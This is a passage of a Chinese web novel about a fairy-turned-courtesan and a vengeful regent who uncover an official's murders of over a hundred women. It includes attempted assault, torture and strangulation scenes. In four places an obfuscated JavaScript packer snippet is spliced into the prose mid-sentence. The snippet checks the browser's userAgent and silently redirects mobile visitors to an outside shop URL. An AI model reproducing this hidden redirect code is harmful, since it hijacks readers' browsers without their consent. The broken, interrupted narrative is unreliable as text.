“绿绮!承桑绿绮!”奚瞳哭了出来,但声音很是坚定:“你若再不动手,此时是我!下一刻就是你!绿绮!快!你不是要为公子守身吗!快啊!” 或许是听到“公子”二字,绿绮有些醒了过来,她环顾四周,周围没有花瓶铜镜这样可以利用的重物锐器,怎么办,怎么办…… 她余光一瞥,发现床榻上的方枕似是玉的。 她急忙跑过去,拿起枕头,走到程冲身后,举起手来,可刚举到头顶,她又犹豫了。 程冲是官,她是民。民杀官,是要砍头的。 万一……万一自己这一枕头下去,程冲死了可怎么办。 “绿绮!”奚瞳见她迟迟不动,更加着急,她能感受到程冲的硬物已经抵住他的小腹:“绿绮!你真的要被这种人染指吗绿绮!” 绿绮瞳孔颤抖片刻,终于她一咬牙,玉枕头砸向程冲后颈。 绿绮虽说已经用力,但她毕竟纤瘦,程冲只觉钝痛难忍,暂时松开了奚瞳的衣衫,他抬手摸向自己的后脑勺,掌心沾上了血迹。 “你们这两个贱人!来……” “来人”的“人”还未说出口,奚瞳早已将迷药递到了他口鼻之处,肥胖的身躯轰然倒下,压到了奚瞳身上。 奚瞳被砸得闷哼一声,她伸手要推程冲,可另一瓶迷药,已经放在了她的鼻息之下。 “绿绮……”奚瞳的的双手很快就有些绵软脱力:“你……” 绿绮的眼中有歉意,更有决绝:“对不起奚瞳,我爱陆忧。若你失了贞洁,他的眼睛便不会在你身上流连了。” “你……”奚瞳心中气恼,可抵不住赵臻这瓶神药的药性,颓然昏了过去。 外头风雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆忧想闯进去救人,但被赵臻拦了下来。他臻想看看奚瞳的本事,可没想到,看到了这样一出好戏。 打量着在雨中哭得浑身颤抖的承桑绿绮,赵臻冷哼一声,走进厢房。陈膺在他身后亦步亦趋,陆忧也跟了上去,绿绮犹疑片刻,也站起来,心虚地紧随其后。 赵臻看了地上的程冲,一脚将他从奚瞳身上踹开。 接下来映入眼帘的,便是奚瞳肩膀和锁骨莹白的肌肤,以及下摆刺眼的血痕。 他伸手将奚瞳打横抱起来。 “赵臻……”陆忧似乎想说什么。 “林载,撑伞。” 赵臻沉声开口,经过承桑绿绮时,他停下了步子,看了看她小臂上的伤。 一眼过后,他冷笑着对陆忧道:“她既这么不想要她的胳膊,便就不要了吧。陆忧,明天,我不想再看到她这只手。” 陆忧沉默垂首,绿绮不明所以,不想看到她的手……这是什么意思…… 不过当夜,她便明白了。 承桑绿绮仔仔细细给伤口上了药,正准备入睡时,陆忧敲响了她的房门。 她眼中露出惊喜,可很快,她发现陆忧手上拿着一把锋利无匹的短刀。 “绿绮,做了错事,就要付出代价。旁人动手,只会更狠。”陆忧面露痛惜之色:“还是我来吧……” 很多人在这一夜听到了一个女子撕心裂肺的尖叫。 可在这大雨不息的长夜里,他们只认为是雷声带给他们的惊恐之中的错觉。 赵臻坐在书案之前,他的人正在彻夜查抄程府,这将是周家这个百年世家土崩瓦解的开端,是他复仇的开始,也是他宏图大业的第一步。 而他身后的床榻上,是正在沉睡的奚瞳。 赵臻想起过往无数次在脑海中重演的噩梦,想起他被仇恨折磨地近乎窒息的漫长岁月。 他起身,坐到床沿,伸出食指,用指背摸了摸奚瞳的脸。 “这样一个夜晚,有你在我身边,感觉……还不错。” 15.第 15 章 奚瞳醒来时,是次日巳时。 她懵懵懂懂睁开眼,听到外头雨声延绵,一转头,发现赵臻正坐在茶几边看着她。 奚瞳的神志回笼,想起昨夜种种,程冲那张肥腻的丑脸浮现眼前。 她终是忍不住,半抬起身子,“哇”地一声吐了。 赵臻眼皮挑了挑,起身走到她身边。 奚瞳没怎么吃东西,吐出来的净是些酸水,赵臻怕她呛着,赶紧给她拍背。 “我行走世间二十八年,将人恶心吐了还是头一回。”赵臻从牙缝里挤出这么一句话。 奚瞳赶紧摇手:“不是,我是想起,程……哕……” 待奚瞳吐够了,赵臻唤了下人收拾屋子,想着给奚瞳再换一间厢房。 奚瞳却道:“我要洗澡。” 赵臻抬眸:“待药性彻底过了,你休息好了,再洗不迟。” “不行,我现在就要洗!” 赵臻蹙眉,奚瞳浑身的肉七成都长在了胆子上,很少有这样焦躁的时候。 奚瞳看出了赵臻询问的态度,坦诚答道:“昨晚上那个死变态舔我,舔我脖子!太恶心了!我要洗澡!立刻!马上!” 赵臻眸底迸出冷意,点了点头:“我让人准备。” 说罢便起身走出了厢房。 奚瞳洗澡的时候,赵臻来到了州府牢中。 昨儿个夜里查抄程家的收获说多不多,说少不少。 搜到了一些世家往来的账本,坐实了程冲替周家安排地方官员,拉拢人脉的事实。 但金钱往来、互举互荐在如今这些大家族里是常规操作,这么办事的不只一个周家。程冲夺人妻子,好色谋财,贪污渎职是虽是板上钉钉,但只要他会说漂亮话,为自己找个像样的理由,周家又有人愿意为他作保,他顶多就判个流刑。 赵臻隐隐觉得,程冲还有其他把柄他没找到。 程冲的手段,绝不止为他获取财色那般简单。 否则他抢了那么多人的老婆,不会只有一个苏木闹到京中。 遥想三国枭雄曹孟德,在张绣投降后看上了张绣的婶婶,张绣深觉受辱,降而复叛,曹操差点因此丢了性命。 这还只是婶婶,若是妻子,又当何论。 夺妻之恨,自古以来都是触及男子尊严的最为深刻的仇恨之一,可程冲在容州做大中正这么多年,除了苏木,其他惨遭夺妻之人尽皆忍了? 这事儿蹊跷。 程冲自昨日被羁押,夜半醒来,一直在骂。 看到霜衣玉面的男子走进来,他横眉问道:“你是谁?” “赵臻。”赵臻回答。 程冲听过这个名字,周家的所有人,哪怕只沾一点亲缘故旧,都听过这个名字。 程冲非但没有惧意,反倒讥笑几声:“哦,你就是那个赵臻啊。在咱们太后娘娘裙下伺候,讨了高官的赵臻?” 赵臻没有说话,平静地看着他,双眸在牢狱的暗光下显得分外幽深,像是千年的寒潭。 程冲继续道:“既如此啊,咱们是一家人,你为周家办事,我也为周家办事。昨儿个的事,我大人大量,就当是个误会,你放了我,将那两个贱人一并交给我,我既往不咎。” 赵臻的眼尾浮上讽刺。 这就是世家。 世家势大至此,皇帝的脸面都可以不顾,更遑论他这个太傅呢。 所以这样的势力,怎可不除? 赵臻微微垂首,挽起袖子,露出双手,吩咐两旁狱卒:“将程大人绑到架子上,将烙铁取来。” “你敢!”程冲怒吼:“我是大司徒的人,你岂敢对我用刑!” 大司徒便是周家当家人,当今太后的亲生父亲周正。 狱卒是太守府的,也很是犹豫,当中一人说道:“大人,太守并未下令,让我等刑讯程大人,而且……大司徒……” 赵臻不置可否,抬手打了个响指,一个黑衣暗卫便从牢房梁上跃下,来到这狱卒身后,短匕出鞘,这狱卒的脖子上刹那间裂开一道口子,血溅三尺,浸透地上铺着的蒲草。 其他狱卒登时便吓傻了,程冲也有些懵。 赵臻嘴角弯起来:“太守府,好规矩啊。我竟不知,一个太守竟能忤逆当朝太傅了。” 狱卒们冷汗涔涔。 “怎么,刚才的话,还要我重复一遍吗?” 有几个狱卒率先反应过来,打开牢房栅门,冲进去将程冲绑了起来。 程冲目眦欲裂:“我乃大司徒亲信,谁敢动我?!” 奈何鲜血之下,谁都不敢拿自己的性命冒险,不出片刻,程冲便被五花大绑到了架子上,烙铁也端了过来。 赵臻拿起烙铁,他估摸了一下,这烙铁打小倒是合适。 他走近程冲,程冲额头上已经渗了汗,可嘴上仍不认输,他不信,不信赵臻一个孤臣敢挑衅周家这样的世家:“赵臻!你对我用刑,屈打成招,大司徒不会放过你……你真的不要命了吗?!” 赵臻笑了笑:“先帝灭我赵家三族,彼时我在天机山学艺,逃过一劫,回京后九族皆已无人,唯独我,偏偏活到了现在,程冲,你说,你那大司徒,真的杀得了我吗?” 程冲额间的冷汗顺着他下颌过于圆润的轮廓滴落下来,他不明白赵臻这是什么意思…… 可还没等他反应过来,赵臻冰冷而又邪气的声音再次响起。 “我本想割了你的舌头。可你有事瞒着我,将来仍有你说话的时候。所以啊,可惜了。” “什么意思……呃……” 程冲慌了,就在方才那一刹那,赵臻已经抬手,硬生生卸了他的下巴。 程冲在架子上挣扎着,发出咿咿呀呀的吼声。 赵臻看着手中被烧得通红的烙铁:“或许会影响一些咬字,但不会伤到你的舌根,程大人放心。” 接下来,烙铁伸进了程冲的口腔,程冲的惨叫响彻牢房。 …… 赵臻回来时,奚瞳已经换好了干净衣裳,正在厢房里掐着腰溜达。 见赵臻进了门,奚瞳赶紧迎了上去。 “你查程府了吗?发现了什么?你可有看到院子里的石雕?”奚瞳连珠炮式地发问:“诶?你身上怎么有股焦焦的烤肉的味道?” 赵臻淡淡道:“方才去炙了一条猪舌。” “嗯?” 奚瞳疑惑,当今世道不是讲究什么君子远庖厨吗?怎得赵臻堂堂太傅还要亲自做菜了? “算了,不重要。”奚瞳找回重点:“你有没有看见程家院子里那些石雕。” “进门的时候看到一把伞。”赵臻答:“你和承桑绿绮去的厢房那边还有个琵琶,怎么了?” “你有没有听说过四金刚阵?”奚瞳问。 赵臻摇头。 奚瞳并不意外,四大金刚是佛门的护法神祇,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12783147|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臻这么阴郁,搭眼一看就知他全然不是信佛之人,不知道很正常。 奚瞳解释:“四大金刚是佛教护法,主理四方,各怀法器,北天王举伞,南天王执剑,西天王持蛇,东天王则怀抱一柄琵琶。这四位天王本是护佑众生为众生祈福的,但佛教传教过程中,生出了异教徒,怀了邪心,用这四位天王的法器做阵,就是四天王阵。程家院中有此阵法。” “这阵法有何用?” “镇压。”奚瞳答:“可镇邪祟,也可藏压秘密。程家四个石雕对角连线的交点,就是阵眼。如果我没猜错,应该就是程家院子里那方经文柱。我猜想,那柱子下头,该是有东西。” 赵臻凝眸看了奚瞳一眼:“你知道的,真是不少。” 赵臻的语气模棱两可,不知是赞许还是讽刺,以奚瞳对赵臻的了解,不是第二种她把头拧下来。 奚瞳打个哈哈:“我都说了嘛,丐帮,卧虎藏龙。” “哼。”赵臻忍不住冷笑:“还龙虎,无非一个龇牙咧嘴的野猫。” 奚瞳不与他做口舌争。 不过这次的事倒是给她提了个醒,天庭集道家之大成,她在里头生活了太久,对于其他思想流派疏于学习,四天王阵这么好识别的阵法,她居然半天才想起来,这样不好,还是得把该学的知识都补一补。 仙女这一行,活到老学到老啊。 …… 程冲做事的确谨慎,也周全。 程家院子中的经文柱用的是泰山石,下头的须弥座则是丹陛石,这两种石头都有独特的权利象征,泰山自古以来是帝王封禅之地,丹陛石则是宫殿浮雕常用的石料。采用这两种石料,他为周家和自己祈福什么,不言而喻。 另外,这两种石料都极重,赵臻的手下也是练家子,奚瞳找出阵眼后,林载带着二三十号人去,竟动不了这座经文柱分毫。无奈又找了相当数量的人支援,才将这柱子移开。 须弥座除了露出地面的半米,埋在底下还有半米,彻底被林载他们拔除后,这些经历过沙场生死的暗卫都有些肝胆发颤。 须弥座的下头,是一方深坑,率先映入众人眼帘的,是七八个森然的骷髅头。 林载眼神肃杀,喉结滚了滚:“挖。” 这一声令下,暗卫们足足挖了三个时辰。 坑深十数米,蓉州多雨,深坑不曾坍塌,并不是因为什么阵法护佑,而是因为这个坑被密密麻麻的骸骨填满了。 头骨、肋骨、臂骨、腿骨,一根接一根被挖了出来,林载在一旁看着,粗略估算,若将这些骨头拼作人形,一百具也是有的。 他的心中因为这些骸骨而生出寒意,却也在其后生出了些许安定。 程冲,必死无疑了。 如今的世道,贵族当权,百姓艰难,就连律法也在很多时候不得不臣服于权利,可唯有一条,是君与民的共识,不曾被世家左右—— 无缘无故,害人性命,是要血债血偿的。 这么多死人,程冲活不了了,周家也要付出代价。 林载之前一直觉得赵臻说要铲除世家是一种天真的幻想。但此刻他觉得,赵臻,他说不定……真的可以。 终于,深坑挖到了底。 骸骨全部取出后,露出了一方上锁的锦盒。 林载将其上的泥水擦干净,转身回太守府找赵臻。 不知这盒子里,装着什么罪恶的秘密。 16.第 16 章 赵臻林载忙着查案,奚瞳休整几日后,得了闲,她终是决定去寻承桑绿绮一趟。 那一夜的绿绮充分展现了人性的复杂,她救了奚瞳,却也害了奚瞳。 奚瞳在人间活那一世,也算尝尽世事无常,成仙之后,俯瞰人间种种,更知为人之艰难,故而她愿意再给绿绮一个机会。 也像天界那些资历颇老,渡世的神君那般,摆一摆神仙的姿态,对犯了错的凡人说一句“知错能改,善莫大焉,下不为例”。 她是仙女,心胸自然要比绿绮宽广些,正所谓能力越大,责任越大。 可去了隔壁院子绿绮的厢房,才发现那里空无一人,就连若妍也不知去向。 正巧紫虚端着她的小锅从外头回来:“姐姐醒了?饿不饿,咱们今儿个吃鱼头豆腐汤。” 听起来就很香,但奚瞳还是问:“绿绮和若妍呢?” 紫虚也只知道个大概:“绿绮姑娘受了伤,去医馆住下了,若妍去照顾她。” “受伤?受的什么伤?” 紫虚摇摇头:“具体我也不知道,听太傅大人身边几个随侍议论,说是伤得挺重,估计要在医馆养一阵子。” 奚瞳心生疑窦,那一夜她昏睡之前已经把程冲放倒了,莫非是程家的下人做的? 但奚瞳到底也没再说什么,她的胸怀至多也就是去和绿绮开诚布公谈一谈,但若是揣着关怀去探病,那便显得她实在有些下贱和缺心眼了,仙女也是有底线的。 数日没有好好吃饭,还吐了那些个酸水,缓过来的奚瞳胃口大开,喝了足足三碗鱼汤,犹嫌不够。 正当她全情投入啃一个鱼头时,赵臻的人来了,让她去议事厅。 奚瞳不疑有他,擦干净手就去了。 奚瞳到时,赵臻、陆忧、林载以及十数随侍暗卫悉数就位,奚瞳很识时务地站在了赵臻身后,赵臻眼底浮上些微不易察觉的满意之色。 等了得有小半时辰,蓉州太守陈膺和别驾才带着书吏姗姗来迟。 “不好意思啊太傅大人,衙上公务实在繁忙,让您久等。”陈膺拱手作揖道。 赵臻不露声色,抬手比了一个“请”的手势,陈膺顺势入座。 林载开口,陈述这两天查到的东西,奚瞳听了,不由觉得毛骨悚然。 经文柱下挖出了一百一十九具骸骨,验尸官已经查过,皆为女尸,死时年纪大都在十八到二十五岁,最为陈旧的一具骸骨,死亡时间可以追溯到十六年前。 这些骸骨都有共同点,骨膜上有各种伤痕,生前应该是受过严酷虐待,而且还有不少齿痕。这齿痕既不硕大也不尖锐,所以不是出自野兽之口,而是……人。 也就是说,这一百多个女子,是被人吃掉的。 奚瞳回想起那天晚上程冲的话:“女人一旦过了二十五岁,就老了,吃起来味道就不好了。” 原来他所说的“吃”,是真正意义上的吃。 奚瞳舒缓不久的胃肠又有些搅弄起来。 林载接着说。 那个上锁的锦盒里是这些女子的名单,每个人的名字之后都写了更多名字,这些名字勾连成网,涉及的世家大族,遍及整个大盈。 而名单之后,是这些世家近二十年来所犯的罪行,有人贪贿、有人渎职、有人杀人、有人掠货,真可谓是罄竹难书。 奚瞳在一旁听着,突然就明白了。 程冲夺人妻子,只是最表象的罪行。他所霸占的这些女子,大多是被家族或者夫君为了谋求仕途而送到成家的。 这些无辜女子本有安稳人生,可最终被奸/污、被虐待、被啃噬,她们被至亲之人害到如此境地,怎能不恨。 内帏往往掌握着一个家族中最为肮脏的隐秘。 程冲很可能利用了她们的恨意和求生欲,套出了她们所知道的族亲所犯的罪过。 程冲许了这些世家官职,又通过他们的妻子掌握了他们的把柄,恩威并施,将这些人同他自己、同周家紧密地结合在一起,成为了周家势力的一股。 而这样大大小小的家族,在十数年间,已经渗透进大盈的各个州府。 想到这里,奚瞳冷汗直冒。 她做过公主,长秦也是世家揽权,但到底还没有任何一个家族、任何一个人敢藐视律法,作恶到这种程度。 赵臻开口:“陈大人,案情经过你也听了,发生在你蓉州地界上,你想如何断这桩大案啊?” 陈膺堆起一副笑脸:“哎呀太傅大人,您是不知道啊,春上是衙门一年最忙的时候,去年还有几桩大案未审结,实在不宜再拖;年初手头又有些事关民生的急案,程大人这案子,恐怕得往后压一压啊。” 这就是不想掺和的意思,明眼人都看得出来。 奚瞳不禁感叹,赵臻这太傅当得也太没尊严了,说出来的话竟对陈膺毫无分量。而且这陈大人也真是很有意思,她就不信着蓉州府还能有任何一桩案子,大过急过现下程冲这一桩,陈膺这是为了置身事外什么都不顾了,不顾律法、不顾百姓,也不顾自己作为文臣的脸面了。 这要是放在长秦,她不暴揍他一顿都枉为公主。 赵臻没接陈膺的话,目光瞥向陈膺身后:“这位书吏,就是前几日说母亲过世,要先给母亲置办后事的那位是吗?” 方才众人等陈膺的时候,陆忧和林载聊了两句,奚瞳也听见了。林载做事利落,今日所说种种,其实三天前就查清了,本想那时就商议断案之事,但偏偏陈膺最趁手的书吏说家中要办丧事,这才拖了几天。 书吏并不是多么重要的职位,甚至连正经官职都算不上,但因为负责记录衙门诸事,所以每个郡府州府,长官们都有较为信任的书吏。 想必眼前这位,就很得陈膺心意。 “书吏可是家住城南桃叶里?”赵臻问道。 书吏脸上有一晃而过的仓皇,但很快恭敬答道:“多谢大人关心,小人确实住在桃叶里。” “我着人去丧礼上进过帛金了,算是一点心意。” “多谢大人。”书吏心里暗暗松了一口气,幸亏他大办了这场白事。 “可是啊,我的这个手下,有些顽皮。”赵臻话锋一转:“他很想知道,是如何慈祥的老妪,能养出你这样的孝子。为了瞻仰令堂仪容,他趁夜开棺,可结果令他大为震惊,棺材竟是空的。他不光顽皮,还很有求知欲,他连夜查了查你的生平,你母亲在你十二岁时便已过世了,距今已经三十年。你倒跟我说说,为何此时才给令堂置办丧仪啊?” 书吏做足了表面功夫,可万万没想到赵臻会命人开馆,他一时拿不出什么合理的说辞,一念犹豫,谎言便做实,他很快意识到这一点,抖若筛糠,跪在了赵臻跟前:“大人……大人我……我……” 他的眼睛不自主瞥向陈膺,陈膺目光凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12787674|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉,霍然站起,怒指书吏:“你竟这般大胆,竟敢如此欺瞒太傅大人与本官,来人啊!将他押下去!好好审问!” “不必了。”未等太守府的人动弹,赵臻便抬了手:“这点小事,何须给太守府再添麻烦。十三。” 赵臻身后一个黑衣青年应道:“属下在。” “拖到院子里杀了吧,处理干净,别脏了太守府的地。” “是!” “大人饶命啊!大人我错了!大人饶命!” 书吏奋力哭喊。 “大人!”陆忧出言制止:“总该给他个辩驳的机会。” 赵臻这样的处置,不符合审理案件的流程,又颇显狠辣,将来难免会招致攻讦,陆忧在赵臻身边,图的是富贵长久,自然不能对他这副做派置之不理。 陈膺更是恼恨,赵臻这样随意处死他的书吏,何曾想过他的颜面。正所谓打狗还要看主人,赵臻这算什么?程冲那般狠辣,周家何其尊贵,见了他这蓉州太守都要给三分薄面。赵臻,一个被灭了三族、靠着攀爬太后衣裙得此高位的竖子,竟敢这般轻视于他。真是岂有此理! “大人是否,太着急了些。”陈膺也沉了脸。 奚瞳叹了一口气,赵臻这些年的办差环境就是这样吗?他没有心理变态真是难能可贵。 听到奚瞳叹息,赵臻便道:“奚瞳,你的意思呢?” 奚瞳先是愣了愣,她本以为赵臻叫她过来,是因为她在这桩事里头吃了点苦头,所以他要给她个说法,此时的问询倒是意料之外。 奚瞳看着周围注视自己的一双双眼睛,淡然道:“该杀。” “放肆!”陈膺怒斥:“这是什么场合,哪里有你这下贱婢子说话的份儿?!” “陈大人好气魄,我太傅府的人,竟也要归你调/教了?”赵臻收起今日脸上一直挂着的轻松戏谑,双眸一片寒凉。 陈膺牙关收紧,整张脸都有些愤怒狰狞。 “继续。”赵臻道。 奚瞳:“因惧怕权贵,便不喜撒谎告假逃脱职责,此为对朝廷不忠。以亡母作为告假借口,不惜让其再死一次,扰其九泉安宁,此为对母不孝。程冲杀人数以百计,书吏职位虽小,但仍是朝廷中人,无视含冤而死之人,这是对民不仁。太守大人不知何故,再三推脱此案,身为心腹书吏,不知劝谏,反倒助纣为虐,这是对主不义。不忠不孝,不仁不义之人,不该杀马?” 赵臻听完,脸上露出今日唯一真心的微笑:“陈膺,话说得够明白吗?” “……”陈膺额间青筋毕露,却再也说不出什么。 “这案子在陈大人手里,想必也审不出什么了。便由兰河公子主审吧,半月之内,审结此案,带着揭帖,回京请求圣上发落。”赵臻拍板。 “兰河公子不过江湖客卿,岂能断我州府之案?!”陈膺不服。 赵臻最终看了陈膺一眼:“陛下已飞鸽传书于我,命陆忧出任司隶校尉,不出五日,任命文书必定抵达蓉州。陈大人若对陆忧能力不信任,可以从旁协助。” 陈膺终是无话,拂袖而去。 赵臻望向陆忧,声音肃然:“陆忘名。收起你的妇人之仁。我走的这条路,稍有不慎,便是粉身碎骨。你当知如今世道,唯我能许你光耀门楣,既决定追随我,你也得拿出等价的筹码才行,明白了吗?” 陆忧思忖片刻,起身拱手道:“是。” 17.第 17 章 杀了一个书吏,定了陆忧主审,奚瞳回到厢房时,薄暮初降。 紫虚已经准备好了饭菜,都是些既清淡又开胃的,有翡翠虾球,青瓜蛋花汤,还用辣椒佐味,用茄丝炒了瘦肉丝。 这些菜肴单听上去就很是下饭,但想起程冲生生吃掉的那些女子,奚瞳的胃口实在提不起来。 为了不浪费,她便用食盒装了一些,去找赵臻。 赵臻的房门没关,他正迎着晚霞,伏案写着东西,林载则在一旁翘着二郎腿吃核桃。 奚瞳站在门口远远看着赵臻,忍不住开口提醒:“赵臻,把腰直起来。” 这是赵臻的老毛病了,他那时看书批奏折,也总是喜欢弓腰驼背。许是当了太久奴才的关系,哪怕后来出任枢密使,位极人臣,也改不掉这老毛病。奚瞳为此暗自讥讽他不知多少次,正所谓一日为奴,终身下贱,哪怕走到了旁人不敢肖想的高位,也早就忘了脊梁应该怎么挺起来。 可现在奚瞳经历了自己的生死,见证了赵臻的结局,五百年过去,回首那一世,她觉得自己未免有些刻薄。 她生来就是公主,是她的幸运,可没有谁生来就是阉人,就是奴才。 看到赵臻如今熟悉的身影轮廓,她心里竟有些难过起来,他明明是很有风骨的一个人,怎么能被生活中的琐碎表象所拖累。 这些不好的生活习惯,她得帮他修正才好。 可她的这句“命令”,在现下的场合里多么不合时宜。 赵臻听了她这句话,立刻下意识地挺直了腰背,但很快就反应过来,出言调/教他写字姿势的,只是一个下贱的伎子。 他冷眸看她,寒意灼灼,奚瞳纵使活了五百年,也有些被这眼神吓到了。她暗暗在心里摇头,赵臻的阴鸷,怎得比前世做宦官的时候还要更重。作为男子,还有什么比被阉割更为难熬的坎坷吗? 奚瞳想起她新死入天庭时司命仙娥对她说的话,她说赵臻要做先五世恶人,再偿还十世功德才能重塑仙缘,五百年过去,五世恶人他应当已经做完了,现在要做的是偿功德。 这功德,偿还起来,很难吗?奚瞳盘算,要是很难,她倒是可以帮他,毕竟她真的很善良,而且天庭的各位神君也都很疼她,疼屋及乌嘛,赵臻是乌。 她小意照顾着赵臻的情绪,一边往前走,一边解释:“写字的时候腰杆子不直,对眼睛不好,而且将来上了年纪,脊柱会打弯,脖子疼腰疼都是小事,严重的话会影响腿脚走路的。紫虚做了好吃的,你们两个饿不饿,要不要尝一尝?” “哼……”赵臻冷哼,但停下的笔重新动起来。 林载在旁打着圆场:“忙活一天了,能不饿嘛?我瞧瞧紫虚小丫头做了什么,哟,虾球、青瓜、茄子,都是太傅大人爱吃的,这可太巧了。” “是吗,那先吃饭吧,吃饱了才有力气办差。”奚瞳从善如流。 赵臻勉为其难停了笔,离开书案,来到小几旁,同奚瞳和林载一起吃起饭来。 林载一边吃一边觉得好笑,奚瞳也真是不拿自己当下人,就这么堂而皇之地和当朝太傅以及禁卫长共用一席,哪有半点伎子的样子,这时候她要是说自己是赵臻的妹妹也是有人信的。 妹妹……林载想到这里,心口滞了滞。 若是赵吟活到现在,正好是奚瞳的年纪。可惜啊……可惜。 奚瞳今日吃得很少,只吃了小半碗米,两颗虾球还有几口茄丝便停了筷子。 她坐在一旁,想起一桩事:“陛下真的认命陆忧做司隶校尉?” 司隶校尉是典型的职位不高,但权力很大,有对百官的监察之权,很少有落魄寒门的公子甫一入仕就担任如此要职的。 加之陛下今年只有六岁,六岁,哪怕在填鸭式教育的皇室,也很难理解司隶校尉是什么意思。 “何意?”赵臻也停下来,看着奚瞳。 “我是想问,是不是太后娘娘的意思?”奚瞳直言不讳。 “陛下年幼,太后垂帘,太后的意思,就是陛下的意思,有区别吗?” 赵臻说得云淡风轻,但奚瞳却不以为然。 如今这桩案子牵一发动全身,一发是程冲,全身是周家,太后可是周家的人啊。不帮自己的宗族,却反过头来帮赵臻? 联想到坊间对于赵臻和她的传闻…… “太后娘娘,其实很喜欢你吧。”奚瞳认真问道。 林载正在喝汤,他觉得,以后跟着两个人在一起,还是不要喝东西的好。讨论的话题总是那么劲爆。 赵臻的眼睑不易察觉地颤了颤:“为什么这么问,你醋了?” “你疯了?!” 奚瞳脱口而出,赵臻当场黑脸,林载大气不敢出。 奚瞳意识到自己的态度有一些太激进了:“人家是太后,大盈最尊贵的女子,我只是个伎子,我吃哪门子醋?” “呵,你这时候倒是知道自己是伎子了。”赵臻毫不留情讽刺道。 奚瞳吃瘪,但也不争辩什么:“我只是觉得,你这样很危险。” 赵臻最终放下了碗筷,像是要听奚瞳还要说什么。 奚瞳则认真道:“女子总是比男子更深情,你若真的喜欢她,有意同她双宿双飞,利用了或许还有机会补偿。可你若不喜欢她,最好就不要占人家的便宜,这无疑是给她希望。你要知道,一个偏执的痴情人,已经足够有破坏力,更何况,她手中还有权力。” 奚瞳做公主的时候,见过许多这样的例子。 公侯门户里的命妇,对夫君的爱求而不得,便在后宅里磋磨妾室和庶出的子女,闹出人命的有,葬送家族的也有。原本好好一个人,就因为不如男子薄情心狠,便一生困于情海之中,凶相毕露,伤人伤己,回头无岸。 赵臻的面色越来越冷,奚瞳看着,只觉得奇怪,她没说错什么啊,她这不是好心吗? 可猛然间,她福至心灵,赵臻是不是听到自己说他利用太后,觉得不开心了啊。那这样说来,赵臻应该也是喜欢太后的,而自己却在曲解这对有情人之间的相处模式? 这太不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12820322|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该了,是她的错。 于是奚瞳一双水汪汪的眼睛盯住赵臻:“对不起啊,是我误会你了。你和太后娘娘情深义重,岂容他人置喙。我很尊重你们的,祝福!” 林载都听傻了,这都是啥啊。 赵臻眼皮子直跳,半晌,他开口:“林若归,你出去。” “啊?”林载一脸懵:“我还没吃饱。” 赵臻牙关的肌肉紧了紧:“拿着食盒,出去吃。” “哦。”林载知道此地不宜久留。 待房内无人了,赵臻站起来,俯视奚瞳,罗刹一般。 奚瞳有些害怕了,她也站起来,一步步往墙根退:“赵……赵臻你冷静一点……我……我说错什么了吗?” 最终奚瞳退无可退,赵臻抬起双臂支着墙,将她困在他阔大的影子里。 “情深义重?双宿双飞?你就这么希望我同周怀淑在一起?”赵臻的声音透着寒气。 “只要……只要你喜欢。”赵臻越来越近,奚瞳不由瑟缩起来,就连呼吸都变得困难。 就在两人的脸相距不到两寸之距时,奚瞳的脖子浮上一层凉意。 她这才发现,赵臻的手掌又捏住了她的脖颈。 “脖子上的淤痕才散了几天,便忘了上次是怎么差点死了的?”赵臻盯住奚瞳。 “我……我错了。”奚瞳倒是不怕死,但她真的很怕疼。 “错哪了?” “我,我不该质疑你对太后的真心。” 奚瞳试探说道,可她脖子上的手霎时收紧。 “我,我不该说你利用太后。” 奚瞳再猜,可赵臻的手更加用力。 虽还不疼,但奚瞳已经觉得有些发闷,喘不动气。 “我……我不该……不该说你喜欢太后。”奚瞳开始本能地挣扎。 话音刚落,脖子上的那只大手终于缓缓松开。 奚瞳胸腔里顿时涌入清冽的新鲜气体。 她有些后怕地摸着自己的脖子,赵臻微微低头,便看见奚瞳的身体,像一个小小的白团子,他伸一伸手,就能揽到自己怀里。她的身体,是否像她脖子的触感一般,细腻、温暖…… 意识到自己在想什么之后,赵臻迅速远离了奚瞳,他背过身去,不再看她:“既已是我的人,就要知道我的规矩。不该你议论的事,就将嘴闭上。听明白了,就滚出去。” 